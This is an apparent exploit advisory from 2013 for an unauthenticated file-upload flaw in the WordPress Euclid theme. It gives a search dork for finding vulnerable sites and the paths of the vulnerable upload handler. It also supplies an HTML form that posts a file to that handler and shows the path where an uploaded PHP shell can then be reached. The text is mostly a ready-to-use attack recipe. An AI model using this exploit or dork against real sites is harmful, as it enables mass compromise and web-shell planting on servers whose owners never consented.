WordPress Theme Euclid 1.x - Cross-Site Request Forgery

#Title : Wordpress Euclid V1 Themes CSRF File Upload Vulnerability

 

#Author : DevilScreaM

 

#Date : 11/17/2013 - 17 November 2013

 

#Category : Web Applications

 

#Type : PHP

 

#Version : 1.x.x

 

#Vendor : http://freelancewp.com

 

#Download : http://freelancewp.com/wordpress-theme/euclid/

 

#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security

     Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber

 

#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |

 

#Tested : Mozila, Chrome, Opera -> Windows & Linux

 

#Vulnerabillity : CSRF

 

#Dork :

 

inurl:wp-content/themes/euclid_v1

 

 

CSRF File Upload Vulnerability

 

Exploit & POC :

 

http://site-target/wp-content/themes/euclid/functions/upload-handler.php

http://site-target/wp-content/themes/euclid_v1.x.x/functions/upload-handler.php

 

Script :

 

<form enctype="multipart/form-data"

action="http://127.0.0.1/wp-content/themes/euclid/functions/upload-handler.php" method="post">

Your File: <input name="uploadfile" type="file" /><br />

<input type="submit" value="upload" />

</form>

 

 

File Access :

 

http://site-target/uploads/[years]/[month]/your_shell.php

 

Example : http://127.0.0.1/wp-content/uploads/2013/11/devilscream.php